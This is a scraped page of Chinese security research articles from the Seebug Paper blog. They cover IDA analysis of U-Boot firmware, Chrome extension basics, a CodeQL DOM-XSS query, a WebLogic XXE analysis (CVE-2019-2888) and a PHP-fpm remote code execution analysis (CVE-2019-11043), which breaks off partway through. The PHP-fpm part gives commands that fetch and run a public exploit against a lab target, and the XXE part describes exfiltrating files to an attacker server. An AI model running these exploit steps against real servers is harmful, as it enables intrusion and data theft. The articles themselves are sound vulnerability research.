-
使用 IDA 处理 U-Boot 二进制流文件
作者:Hcamael@知道创宇404实验室
时间:2019年11月29日最近在研究IoT设备的过程中遇到一种情况。一个IoT设备,官方不提供固件包,网上也搜不到相关的固件包,所以我从flash中直接读取。因为系统是VxWorks,能看到flash布局,所以能很容易把uboot/firmware从flash中分解出来。对于firmware的部分前一半左右是通过lzma压缩,后面的一半,是相隔一定的区间有一部分有lzma压缩数据。而固件的符号信息就在这后半部分。因为不知道后半部分是通过什么格式和前半部分代码段一起放入内存的,所以对于我逆向产生了一定的阻碍。所以我就想着看看uboot的逻辑,但是uboot不能直接丢入ida中进行分析,所以有了这篇文章,分析uboot格式,如何使用ida分析uboot。
uboot格式
正常的一个uboot格式应该如下所示:
1234567$ binwalk bootimg.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------13648 0x3550 CRC32 polynomial table, big endian14908 0x3A3C uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"14972 0x3A7C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes而这uboot其实还得分为三部分:
1.从0x00 - 0x346C是属于bootstrap的部分
2.0x346C-0x34AC有0x40字节的uboot image的头部信息
3.从0x34AC到结尾才是uboot image的主体,经过lzma压缩后的结果那么uboot是怎么生成的呢?Github上随便找了一个uboot源码: https://github.com/OnionIoT/uboot,编译安装了一下,查看uboot的生成过程。
1.第一步,把bootstrap和uboot源码使用gcc编译成两个ELF程序,得到
bootstrap
和uboot
2.第二步,使用objcopy把两个文件分别转换成二进制流文件。12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary bootstrap bootstrap.bin$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary uboot uboot.bin$ binwalk u-boot/bootstrapDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)13776 0x35D0 CRC32 polynomial table, big endian28826 0x709A Unix path: /uboot/u-boot/cpu/mips/start_bootstrap.S$ binwalk u-boot/bootstrap.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------13648 0x3550 CRC32 polynomial table, big endian$ binwalk u-boot/u-bootDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)132160 0x20440 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"132827 0x206DB HTML document header133794 0x20AA2 HTML document footer134619 0x20DDB HTML document header135508 0x21154 HTML document footer135607 0x211B7 HTML document header137363 0x21893 HTML document footer137463 0x218F7 HTML document header138146 0x21BA2 HTML document footer138247 0x21C07 HTML document header139122 0x21F72 HTML document footer139235 0x21FE3 HTML document header139621 0x22165 HTML document footer139632 0x22170 CRC32 polynomial table, big endian179254 0x2BC36 Unix path: /uboot/u-boot/cpu/mips/start.S$ binwalk u-boot/u-boot.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------132032 0x203C0 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"132699 0x2065B HTML document header133666 0x20A22 HTML document footer134491 0x20D5B HTML document header135380 0x210D4 HTML document footer135479 0x21137 HTML document header137235 0x21813 HTML document footer137335 0x21877 HTML document header138018 0x21B22 HTML document footer138119 0x21B87 HTML document header138994 0x21EF2 HTML document footer139107 0x21F63 HTML document header139493 0x220E5 HTML document footer139504 0x220F0 CRC32 polynomial table, big endian3.把u-boot.bin使用lzma算法压缩,得到u-boot.bin.lzma
12345$ binwalk u-boot/u-boot.bin.lzmaDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes4.使用mkimage,给u-boot.bin.lzma加上0x40字节的头部信息得到u-boot.lzming
123456$ binwalk u-boot/u-boot.lzimgDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"64 0x40 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes5.最后把
bootstrap.bin
和u-boot.lzming
合并到一起,然后根据需要uboot的实际大小,比如需要一个128k的uboot,在末尾使用0xff
补齐到128k大小使用ida处理bootstrap二进制流文件
在上面的结构中,需要注意几点:
1.
Data Address: 0x80010000, Entry Point: 0x80010000
表示设备启动后,会把后续uboot通过lzma解压出来的数据存入内存地址0x80010000,然后把$pc设置为: 0x80010000,所以uboot最开头4字节肯定是指令。2.
uncompressed size: 161184 bytes
,可以使用dd把LZMA数据单独取出来,然后使用lzma解压缩,解压缩后的大小要跟这个字段一样。如果还想确认解压缩的结果有没有问题,可以使用CRC算法验证。接下来就是通过dd或者其他程序把二进制流从uboot中分离出来,再丢到ida中。先来看看bootstrap,首先指定相应的CPU类型,比如对于上例,则需要设置MIPS大端。
随后我们暂时设置一下起始地址为0x80010000,通电以后CPU第一个执行的地址默认情况下我们是不知道的,不同CPU有不同的起始地址。设置如下图所示:
bootstrap最开头也指令,所以按C转换成指令,如下图所示:
跳转到0x80010400, 随后是一段初始化代码,下一步我们需要确定程序基地址,因为是mips,所以我们可以根据$gp来判断基地址。
如上图所示,因为bootstrap的大小为0x3a3c bytes,所以可以初步估计基地址为
0x9f000000
,所以下面修改一下基地址:并且修改在
Options -> General -> Analysis -> Processor specific ......
设置$gp=0x9F0039A0
0x9F0039A0
地址开始属于got表的范围,存储的是函数地址,所以把0x9F0039A0
地址往后的数据都转成word:到此就处理完毕了,后面就是存逆向的工作了,具体bootstrap代码都做了什么,不是本文的重点,所以暂不管。
使用ida处理uboot流文件
处理bootstrap,我们再看看uboot,和上面的处理思路大致相同。
1.使用dd或其他程序,把uboot数据先分离出来。 2.使用lzma解压缩 3.丢到ida,设置CPU类型,设置基地址,因为uboot头部有明确定义基地址为0x80010000,所以不用再自己判断基地址 4.同样把第一句设置为指令
正常情况下,uboot都是这种格式,0x80010008为got表指针,也是$gp的值。
5.根据0x80010008的值,去设置$gp 6.处理got表,该地址往后基本都是函数指针和少部分的字符串指针。结尾还有uboot命令的结构体。
到此uboot也算基础处理完了,后续也都是逆向的工作了,也不是本文的关注的内容。
编写idapython自动处理uboot
拿uboot的处理流程进行举例,使用Python编写一个ida插件,自动处理uboot二进制流文件。
1.我们把0x80010000设置为__start函数
12idc.add_func(0x80010000)idc.set_name(0x80010000, "__start")2.0x80010008是got表指针,因为我们处理了0x80010000,所以got表指针地址也被自动翻译成了代码,我们需要改成word格式。
1234idc.del_items(0x80010008)idc.MakeDword(0x80010008)got_ptr = idc.Dword(0x80010008)idc.set_name(idc.Dword(0x80010008), ".got.ptr")3.把got表都转成Word格式,如果是字符串指针,在注释中体现出来
1234567891011121314def got():assert(got_ptr)for address in range(got_ptr, end_addr, 4):value = idc.Dword(address)if value == 0xFFFFFFFF:2019-12-03 15:36:56 星期二breakidc.MakeDword(address)idaapi.autoWait()if idc.Dword(value) != 0xFFFFFFFF:func_name = idc.get_func_name(value)if not idc.get_func_name(value):idc.create_strlit(value, idc.BADADDR)else:funcs.append(func_name)基本都这里就ok了,后面还可以加一些.text段信息,但不是必要的,最后的源码如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667#!/usr/bin/env python# -*- coding=utf-8 -*-import idcimport idaapiclass Anlysis:def __init__(self):self.start_addr = idc.MinEA()self.end_addr = idc.MaxEA()self.funcs = []def uboot_header(self):idc.add_func(self.start_addr)idc.set_name(self.start_addr, "__start")idc.del_items(self.start_addr + 0x8)idc.MakeDword(self.start_addr + 0x8)self.got_ptr = idc.Dword(self.start_addr+8)idc.set_name(idc.Dword(self.start_addr+8), ".got.ptr")def got(self):assert(self.got_ptr)for address in range(self.got_ptr, self.end_addr, 4):value = idc.Dword(address)if value == 0xFFFFFFFF:breakidc.MakeDword(address)idaapi.autoWait()if idc.Dword(value) != 0xFFFFFFFF:func_name = idc.get_func_name(value)if not idc.get_func_name(value):idc.create_strlit(value, idc.BADADDR)else:self.funcs.append(func_name)def get_max_text_addr(self):assert(self.funcs)max_addr = 0for func_name in self.funcs:addr = idc.get_name_ea_simple(func_name)end_addr = idc.find_func_end(addr)if end_addr > max_addr:max_addr = end_addrif max_addr % 0x10 == 0:self.max_text_addr = max_addrelse:self.max_text_addr = max_addr + 0x10 - (max_addr % 0x10)def add_segment(self, start, end, name, type_):segment = idaapi.segment_t()segment.startEA = startsegment.endEA = endsegment.bitness = 1idaapi.add_segm_ex(segment, name, type_, idaapi.ADDSEG_SPARSE | idaapi.ADDSEG_OR_DIE)def start(self):# text segself.uboot_header()self.got()self.get_max_text_addr()self.add_segment(self.start_addr, self.max_text_addr, ".text", "CODE")# endidc.jumpto(self.start_addr)if __name__ == "__main__":print("Hello World")
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1090/
没有评论 -
从 0 开始入门 Chrome Ext 安全(一) — 了解一个 Chrome Ext
作者:LoRexxar'@知道创宇404实验室
时间:2019年11月21日在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge Dev浏览器,并提供了兼容Chrome Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的,Chrome的插件体系越来越影响着广大的人群。
在这种背景下,Chrome Ext的安全问题也应该受到应有的关注,《从0开始入门Chrome Ext安全》就会从最基础的插件开发开始,逐步研究插件本身的恶意安全问题,恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。
第一部分我们就主要来聊聊关于Chrome Ext的一些基础。
获取一个插件的代码
Chrome Ext的存在模式类似于在浏览器层新加了一层解释器,在我们访问网页的时候,插件会加载相应的html、js、css,并解释执行。
所以Chrome Ext的代码也就是html、js、css这类,那我们如何获取插件的代码呢?
当我们访问扩展程序的页面可以获得相应的插件id
然后我们可以在https://chrome-extension-downloader.com/中下载相应的crx包。
把crx改名成zip之后解压缩就可以了
manifest.json
在插件的代码中,有一个重要的文件是manifest.json,在manifest.json中包含了整个插件的各种配置,在配置文件中,我们可以找到一个插件最重要的部分。
首先是比较重要的几个字段
- browser_action
- 这个字段主要负责扩展图标点击后的弹出内容,一般为popup.html
- content_scripts
- matches 代表scripts插入的时机,默认为document_idle,代表页面空闲时
- js 代表插入的scripts文件路径
- run_at 定义了哪些页面需要插入scripts
- permissions
- 这个字段定义了插件的权限,其中包括从浏览器tab、历史纪录、cookie、页面数据等多个维度的权限定义
content_security_policy
- 这个字段定义了插件页面的CSP
- 但这个字段不影响content_scripts里的脚本
- background
- 这个字段定义插件的后台页面,这个页面在默认设置下是在后台持续运行的,只随浏览器的开启和关闭
- persistent 定义了后台页面对应的路径
- page 定义了后台的html页面
- scripts 当值为false时,background的页面不会在后台一直运行
在开始Chrome插件的研究之前,除了manifest.json的配置以外,我们还需要了解一下围绕chrome建立的插件结构。
Chrome Ext的主要展现方式
browserAction - 浏览器右上角
浏览器的右上角点击触发的就是mainfest.json中的
browser_action
12345"browser_action": {"default_icon": "img/header.jpg","default_title": "LoRexxar Tools","default_popup": "popup.html"},其中页面内容来自popup.html
pageAction
pageAction和browserAction类似,只不过其中的区别是,pageAction是在满足一定的条件下才会触发的插件,在不触发的情况下会始终保持灰色。
contextMenus 右键菜单
通过在chrome中调用chrome.contextMenus这个API,我们可以定义在浏览器中的右键菜单。
当然,要控制这个api首先你必须申请控制contextMenus的权限。
1{"permissions": ["contextMenus"]}一般来说,这个api会在background中被定义,因为background会一直在后台加载。
1234chrome.contextMenus.create({title: "测试右键菜单",onclick: function(){alert('您点击了右键菜单!');}});override - 覆盖页面
chrome提供了override用来覆盖chrome的一些特定页面。其中包括历史记录、新标签页、书签等...
123456"chrome_url_overrides":{"newtab": "newtab.html","history": "history.html","bookmarks": "bookmarks.html"}比如Toby for Chrome就是一个覆盖新标签页的插件
devtools - 开发者工具
chrome允许插件重构开发者工具,并且相应的操作。
插件中关于devtools的生命周期和F12打开的窗口时一致的,当F12关闭时,插件也会自动结束。
而在devtools页面中,插件有权访问一组特殊的API,这组API只有devtools页面中可以访问。
123chrome.devtools.panels:面板相关;chrome.devtools.inspectedWindow:获取被审查窗口的有关信息;chrome.devtools.network:获取有关网络请求的信息;1234{// 只能指向一个HTML文件,不能是JS文件"devtools_page": "devtools.html"}option - 选项
option代表着插件的设置页面,当选中图标之后右键选项可以进入这个页面。
1234567{"options_ui":{"page": "options.html","chrome_style": true},}omnibox - 搜索建议
在chrome中,如果你在地址栏输入非url时,会将内容自动传到google搜索上。
omnibox就是提供了对于这个功能的魔改,我们可以通过设置关键字触发插件,然后就可以在插件的帮助下完成搜索了。
1234{// 向地址栏注册一个关键字以提供搜索建议,只能设置一个关键字"omnibox": { "keyword" : "go" },}这个功能通过
chrome.omnibox
这个api来定义。notifications - 提醒
notifications代表右下角弹出的提示框
123456chrome.notifications.create(null, {type: 'basic',iconUrl: 'img/header.jpg',title: 'test',message: 'i found you!'});权限体系和api
在了解了各类型的插件的形式之后,还有一个比较重要的就是Chrome插件相关的权限体系和api。
Chrome发展到这个时代,其相关的权限体系划分已经算是非常细致了,具体的细节可以翻阅文档。
抛开Chrome插件的多种表现形式不谈,插件的功能主要集中在js的代码里,而js的部分主要可以划分为5种injected script、content-script、popup js、background js和devtools js.
- injected script 是直接插入到页面中的js,和普通的js一致,不能访问任何扩展API.
- content-script 只能访问extension、runtime等几个有限的API,也可以访问dom.
- popup js 可以访问大部分API,除了devtools,支持跨域访问
- background js 可以访问大部分API,除了devtools,支持跨域访问
- devtools js 只能访问devtools、extension、runtime等部分API,可以访问dom
JS 是否能访问DOM 是否能访问JS 是否可以跨域 injected script 可以访问 可以访问 不可以 content script 可以访问 不可以 不可以 popup js 不可直接访问 不可以 可以 background js 不可直接访问 不可以 可以 devtools js 可以访问 可以访问 不可以 同样的,针对这多种js,我们也需要特殊的方式进行调试
- injected script: 直接F12就可以调试
- content-script:在F12中console选择相应的域
- popup js: 在插件右键的列表中有审查弹出内容
- background js: 需要在插件管理页面点击背景页然后调试
通信方式
在前面介绍过各类js之后,我们提到一个重要的问题就是,在大部分的js中,都没有给与访问js的权限,包括其中比较关键的content script.
那么插件怎么和浏览器前台以及相互之间进行通信呢?
- injected-script content-script popup-js background-js injected-script - window.postMessage - - content-script window.postMessage - chrome.runtime.sendMessage chrome.runtime.connect chrome.runtime.sendMessage chrome.runtime.connect popup-js - chrome.tabs.sendMessage chrome.tabs.connect - chrome.extension. getBackgroundPage() background-js - chrome.tabs.sendMessage chrome.tabs.connect chrome.extension.getViews - devtools-js chrome.devtools.inspectedWindow.eval - chrome.runtime.sendMessage chrome.runtime.sendMessage popup 和 background
popup和background两个域互相直接可以调用js并且访问页面的dom。
popup可以直接用
chrome.extension.getBackgroundPage()
获取background页面的对象,而background可以直接用chrome.extension.getViews({type:'popup'})
获取popup页面的对象。12345678910// background.jsfunction test(){alert('test');}// popup.jsvar bg = chrome.extension.getBackgroundPage();bg.test(); // 访问bg的函数alert(bg.document.body.innerHTML); // 访问bg的DOMpopup\background 和 content js
popup\background 和 content js之间沟通的方式主要依赖
chrome.tabs.sendMessage
和chrome.runtime.onMessage.addListener
这种有关事件监听的交流方式。发送方使用
chrome.tabs.sendMessage
,接收方使用chrome.runtime.onMessage.addListener
监听事件。123chrome.runtime.sendMessage({greeting: '发送方!'}, function(response) {console.log('接受:' + response);});接收方
12345chrome.runtime.onMessage.addListener(function(request, sender, sendResponse){console.log(request, sender, sendResponse);sendResponse('回复:' + JSON.stringify(request));});injected script 和 content-script
由于injected script就相当于页面内执行的js,所以它没权限访问chrome对象,所以他们直接的沟通方式主要是利用
window.postMessage
或者通过DOM事件来实现。injected-script中:
1window.postMessage({"test": 'test!'}, '*');content script中:
1234window.addEventListener("message", function(e){console.log(e.data);}, false);popup\background 动态注入js
popup\background没办法直接访问页面DOM,但是可以通过
chrome.tabs.executeScript
来执行脚本,从而实现对页面DOM的操作。要注意这种操作要求必须有页面权限
123"permissions": ["tabs", "http://*/*", "https://*/*"],js
1234// 动态执行JS代码chrome.tabs.executeScript(tabId, {code: 'document.body.style.backgroundColor="red"'});// 动态执行JS文件chrome.tabs.executeScript(tabId, {file: 'some-script.js'});chrome.storage
chrome 插件还有专门的储存位置,其中包括chrome.storage和chrome.storage.sync两种,其中的区别是:
- chrome.storage 针对插件全局,在插件各个位置保存的数据都会同步。
- chrome.storage.sync 根据账户自动同步,不同的电脑登陆同一个账户都会同步。
插件想访问这个api需要提前声明storage权限。
总结
这篇文章主要描述了关于Chrome ext插件相关的许多入门知识,在谈及Chrome ext的安全问题之前,我们可能需要先了解一些关于Chrome ext开发的问题。
在下一篇文章中,我们将会围绕Chrome ext多个维度的安全问题进行探讨,在现代浏览器体系中,Chrome ext到底可能会带来什么样的安全问题。
re
- https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html
- https://developer.chrome.com/extensions/content_scripts
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1082/
- browser_action
-
代码分析引擎 CodeQL 初体验
作者:w7ay@知道创宇404实验室
日期:2019年11月18日QL是一种查询语言,支持对C++,C#,Java,JavaScript,Python,go等多种语言进行分析,可用于分析代码,查找代码中控制流等信息。
之前笔者有简单的研究通过JavaScript语义分析来查找XSS,所以对于这款引擎有浓厚的研究兴趣 。
安装
1.下载分析程序:https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql.zip
分析程序支持主流的操作系统,Windows,Mac,Linux
2.下载相关库文件:https://github.com/Semmle/ql
库文件是开源的,我们要做的是根据这些库文件来编写QL脚本。
3.下载最新版的VScode,安装CodeQL扩展程序:https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql
- 用vscode的扩展可以方便我们看代码
- 然后到扩展中心配置相关参数
4.
- cli填写下载的分析程序路径就行了,windows可以填写codeql.cmd
- 其他地方默认就行
建立数据库
以JavaScript为例,建立分析数据库,建立数据库其实就是用分析程序来分析源码。到要分析源码的根目录,执行
codeql database create jstest --language=javascript
接下来会在该目录下生成一个
jstest
的文件夹,就是数据库的文件夹了。接着用vscode打开之前下载的ql库文件,在ql选择夹中添加刚才的数据库文件,并设置为当前数据库。
接着在QL/javascript/ql/src目录下新建一个test.ql,用来编写我们的ql脚本。为什么要在这个目录下建立文件呢,因为在其他地方测试的时候
import javascript
导入不进来,在这个目录下,有个javascript.qll
就是基础类库,就可以直接引入import javascript
,当然可能也有其他的方法。看它的库文件,它基本把JavaScript中用到的库,或者其他语言的定义语法都支持了。
输出一段hello world试试?
语义分析查找的原理
刚开始接触ql语法的时候可能会感到它的语法有些奇怪,它为什么要这样设计?我先说说自己之前研究基于JavaScript语义分析查找dom-xss是怎样做的。
首先一段类似这样的javascript代码
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");常规的思路是,我们先找到
document.write
函数,由这个函数的第一个参数回溯寻找,如果发现它最后是location.hash.split("#")[1];
,就寻找成功了。我们可以称document.write
为sink
,称location.hash.split
为source
。基于语义分析就是由sink找到source的过程(当然反过来找也是可以的)。而基于这个目标,就需要我们设计一款理解代码上下文的工具,传统的正则搜索已经无法完成了。
第一步要将JavaScript的代码转换为语法树,通过
pyjsparser
可以进行转换12345678from pyjsparser import parseimport jsonhtml = '''var param = location.hash.split("#")[1];document.write("Hello " + param + "!");'''js_ast = parse(html)print(json.dumps(js_ast)) # 它输出的是python的dict格式,我们用转换为json方便查看最终就得到了如下一个树结构
这些树结构的一些定义可以参考:https://esprima.readthedocs.io/en/3.1/syntax-tree-format.html
大概意思可以这样理解:变量
param
是一个Identifier
类型,它的初始化定义的是一个MemberExpression
表达式,该表达式其实也是一个CallExpression
表达式,CallExpression
表达式的参数是一个Literal
类型,而它具体的定义又是一个MemberExpression
表达式。第二步,我们需要设计一个递归来找到每个表达式,每一个
Identifier
,每个Literal
类型等等。我们要将之前的document.write
转换为语法树的形式1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"document"},"property":{"type":"Identifier","name":"write"}}location.hash
也是同理1234567891011{"type":"MemberExpression","object":{"type":"Identifier","name":"location"},"property":{"type":"Identifier","name":"hash"}}在找到了这些
sink
或source
后,再进行正向或反向的回溯分析。回溯分析也会遇到不少问题,如何处理对象的传递,参数的传递等等很多问题。之前也基于这些设计写了一个在线基于语义分析的demoQL语法
QL语法虽然隐藏了语法树的细节,但其实它提供了很多类似
类
,函数
的概念来帮助我们查找相关'语法'。依旧是这段代码为例子
12var param = location.hash.split("#")[1];document.write("Hello " + param + "!");上文我们已经建立好了查询的数据库,现在我们分别来看如何查找sink,source,以及怎样将它们关联起来。
我也是看它的文档:https://help.semmle.com/QL/learn-ql/javascript/introduce-libraries-js.html 学习的,它提供了很多方便的函数,我没有仔细看。我的查询语句都是基于语法树的查询思想,可能官方已经给出了更好的查询方式,所以看看就行了,反正也能用。
查询 document.write
1234567import javascriptfrom Expr dollarArg,CallExpr dollarCallwhere dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" anddollarArg = dollarCall.getArgument(0)select dollarArg这段语句的意思是查找document.write,并输出它的第一个参数
查找 location.hash.split
123456import javascriptfrom CallExpr dollarCallwhere dollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash"select dollarCall查找location.hash.split并输出
数据流分析
接着从
sink
来找到source
,将上面语句组合下,按照官方的文档来就行123456789101112131415161718192021222324252627class XSSTracker extends TaintTracking::Configuration {XSSTracker() {// unique identifier for this configurationthis = "XSSTracker"}override predicate isSource(DataFlow::Node nd) {exists(CallExpr dollarCall |nd.asExpr() instanceof CallExpr anddollarCall.getCalleeName() = "split" anddollarCall.getReceiver().toString() = "location.hash" andnd.asExpr() = dollarCall)}override predicate isSink(DataFlow::Node nd) {exists(CallExpr dollarCall |dollarCall.getCalleeName() = "write" anddollarCall.getReceiver().toString() = "document" andnd.asExpr() = dollarCall.getArgument(0))}}from XSSTracker pt, DataFlow::Node source, DataFlow::Node sinkwhere pt.hasFlow(source, sink)select source,sink将source和sink输出,就能找到它们具体的定义。
我们找到查询到的样本
可以发现它的回溯是会根据变量,函数的返回值一起走的。
当然从source到sink也不可能是一马平川的,中间肯定也会有阻挡的条件,ql官方有给出解决方案。总之就是要求我们更加细化完善ql查询代码。
接下来放出几个查询还不精确的样本,大家可以自己尝试如何进行查询变得精确。
123456var custoom = location.hash.split("#")[1];var param = '';param = " custoom:" + custoom;param = param.replace('<','');param = param.replace('"','');document.write("Hello " + param + "!");123456789quora = {zebra: function (apple) {document.write(this.params);},params:function(){return location.hash.split('#')[1];}};quora.zebra();最后
CodeQL将语法树抽离出来,提供了一种用代码查询代码的方案,更增强了基于数据分析的灵活度。唯一的遗憾是它并没有提供很多查询漏洞的规则,它让我们自己写。这也不由得让我想起另一款强大的基于语义的代码审计工具fortify,它的规则库是公开的,将这两者结合一下说不定会有不一样的火花。
Github公告说将用它来搜索开源项目中的问题,而作为安全研究员的我们来说,也可以用它来做类似的事情?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1078/
-
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析
作者:Longofo@知道创宇404实验室
时间:2019年10月16日这个漏洞和之前@Matthias Kaiser提交的几个XXE漏洞是类似的,而
EJBTaglibDescriptor
应该是漏掉的一个,可以参考之前几个XXE的分析。我和@Badcode师傅反编译了WebLogic所有的Jar包,根据之前几个XXE漏洞的特征进行了搜索匹配到了这个EJBTaglibDescriptor类,这个类在反序列化时也会进行XML解析。Oracle发布了10月份的补丁,详情见链接(https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html)
环境
- Windows 10
- WebLogic 10.3.6.0.190716(安装了19年7月补丁)
- Jdk160_29(WebLogic 自带的JDK)
漏洞分析
weblogic.jar!\weblogic\servlet\ejb2jsp\dd\EJBTaglibDescriptor.class
这个类继承自java\io\Externalizable
因此在序列化与反序列化时会自动调用子类重写的
writeExternal
与readExternal
看下
writeExternal
的逻辑与readExternal
的逻辑,在
readExternal
中,使用ObjectIutput.readUTF
读取反序列化数据中的String数据,然后调用了load方法,在load方法中,使用
DocumentBuilder.parse
解析了反序列化中传递的XML数据,因此这里是可能存在XXE漏洞的在
writeExternal
中,调用了本身的toString
方法,在其中又调用了自身的toXML
方法toXML
的作用应该是将this.beans
转换为对应的xml数据。看起来要构造payload稍微有点麻烦,但是序列化操作是攻击者可控制的,所以我们可以直接修改writeExternal
的逻辑来生成恶意的序列化数据:漏洞复现
1.重写
EJBTaglibDescriptor
中的writeExternal
函数,生成payload2.发送payload到服务器
在我们的HTTP服务器和FTP服务器接收到了my.dtd的请求与win.ini的数据
3.在打了7月份最新补丁的服务器上能看到报错信息
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1067/
-
PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析
作者:LoRexxar'@知道创宇404实验室
时间:2019年10月25日国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。
下面我们就来一点点看看漏洞的详细分析,文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室
漏洞复现
为了能更方便的复现漏洞,这里我们采用vulhub来构建漏洞环境。
1https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043git pull
并docker-compose up -d
访问
http://{your_ip}:8080/
下载github上公开的exp(需要go环境)。
1go get github.com/neex/phuip-fpizdam然后编译
1go install github.com/neex/phuip-fpizdam使用exp攻击demo网站
1phuip-fpizdam http://{your_ip}:8080/攻击成功
漏洞分析
在分析漏洞原理之前,我们这里可以直接跟入看修复的commit
从commit中我们可以很清晰的看出来漏洞成因应该是
path_info
的地址可控导致的,再结合漏洞发现者公开的漏洞信息中提到1The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.也就是说,当
path_info
被%0a截断时,path_info
将被置为空,回到代码中我就不难发现问题所在了。其中
env_path_info
就是变量path_info
的地址,path_info
为0则plien
为0.slen
变量来自于请求后url的长度12int ptlen = strlen(pt);int slen = len - ptlen;其中
123456789int len = script_path_translated_len;len为url路径长度当请求url为http://127.0.0.1/index.php/123%0atest.phpscript_path_translated来自于nginx的配置,为/var/www/html/index.php/123\ntest.phpptlen则为url路径第一个斜杠之前的内容长度当请求url为http://127.0.0.1/index.php/123%0atest.phppt为/var/www/html/index.php这两个变量的差就是后面的路径长度,由于路径可控,则
path_info
可控。由于
path_info
可控,在1222行我们就可以将指定地址的值置零,根据漏洞发现者的描述,通过将指定的地址的值置零,可以控制使_fcgi_data_seg
结构体的char* pos
置零。其中
script_name
同样来自于请求的配置而为什么我们使
_fcgi_data_seg
结构体的char* pos
置零,就会影响到FCGI_PUTENV
的结果呢?这里我们深入去看
FCGI_PUTENV
的定义.1char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);跟入函数
fcgi_quick_putenv
函数直接操作request的env,而这个参数在前面被预定义。
继续跟进初始化函数
fcgi_hash_init
.也就是说
request->env
就是前面提到的fcgi_data_seg
结构体,而这里的request->env
是nginx在和fastcgi通信时储存的全局变量。部分全局变量会在nginx的配置中定义
其中变量会在堆上相应的位置储存
回到利用过程中,这里我们通过控制
path_info
指向request->env
来使request->env->pos
置零。继续回到赋值函数
fcgi_hash_set
函数紧接着进入
fcgi_hash_strndup
这里
h->data-》pos
的最低位被置为0,且str可控,就相当于我们可以在前面写入数据。而问题就在于,我们怎么能向我们想要的位置写数据呢?又怎么向我们指定的配置写文件呢?
这里我们拿exp发送的利用数据包做例子
